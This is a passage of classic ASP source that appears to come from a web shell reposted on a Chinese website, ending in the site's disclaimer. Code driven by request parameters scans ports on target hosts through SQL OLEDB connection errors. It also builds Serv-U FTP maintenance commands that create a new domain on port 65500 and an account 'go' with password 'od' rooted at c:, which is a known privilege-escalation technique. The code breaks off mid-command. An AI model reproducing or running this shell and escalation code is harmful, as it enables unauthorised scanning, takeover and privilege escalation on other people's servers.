else
rrs(tmp(i) & " is not number<br>")
end if
end if
next
next
end if
next
timer2 = timer
thetime=cstr(int(timer2-timer1))
rrs"<hr>process in "&thetime&" s"
end if
end sub
sub scan(targetip, portnum)
on error resume next
set conn = server.createobject("adodb.connection")
connstr="provider=sqloledb.1;data source=" & targetip &","&
portnum &";user id=lake2;password=;"
conn.connectiontimeout = 1
conn.open connstr
if err then
if err.number = -2147217843 or err.number = -2147467259
then
if instr(err.description, "(connect()).") > 0
then
rrs(targetip & ":" & portnum &
".........关闭<br>")
else
rrs(targetip & ":" & portnum &
".........<font color=red>开放</font><br>")
end if
end if
end if
end sub
select case action
case "mainmenu":mainmenu()
case "getterminalinfo":getterminalinfo()
case "scanport":scanport()
case "servu"
suaction=request("suaction")
if not isnumeric(suaction) then response.end
user = trim(request("u"))
pass = trim(request("p"))
port = trim(request("port"))
cmd = trim(request("c"))
f=trim(request("f"))
if f="" then
f=gpath()
else
f=left(f,2)
end if
ftpport = 65500
timeout=3
loginuser = "user " & user & vbcrlf
loginpass = "pass " & pass & vbcrlf
deldomain = "-deletedomain" & vbcrlf & "-ip=0.0.0.0" & vbcrlf & "
portno=" & ftpport & vbcrlf
mt = "site maintenance" & vbcrlf
newdomain = "-setdomain" & vbcrlf & "-domain=goldsun|0.0.0.0|" &
ftpport & "|-1|1|0" & vbcrlf & "-tzoenable=0" & vbcrlf & " tzokey=" &
vbcrlf
newuser = "-setusersetup" & vbcrlf & "-ip=0.0.0.0" & vbcrlf & "-
portno=" & ftpport & vbcrlf & "-user=go" & vbcrlf & "-password=od" &
vbcrlf & _
"-homedir=c:" & vbcrlf & "-loginmesfile=" & vbcrlf & "-
disable=0" & vbcrlf & "-relpaths=1" & vbcrlf & _
"-needsecure=0" & vbcrlf & "-hidehidden=0" & vbcrlf & "-
alwaysallowlogin=0" & vbcrlf & "-changepassword=0" & vbcrlf & _
"-quotaenable=0" & vbcrlf & "-maxusersloginperip=-1" & vbcrlf &
"-speedlimitup=0" & vbcrlf & "-speedlimitdown=0" & vbcrlf & _
"-maxnrusers=-1" & vbcrlf & "-idletimeout=600" & vbcrlf & "-
sessiontimeout=-1" & vbcrlf & "-expire=0" & vbcrlf & "-ratioup=1
【说明】：本文章由站长整理发布，文章内容不代表本站观点，如文中有侵权行为，请与本站客服联系(QQ:)！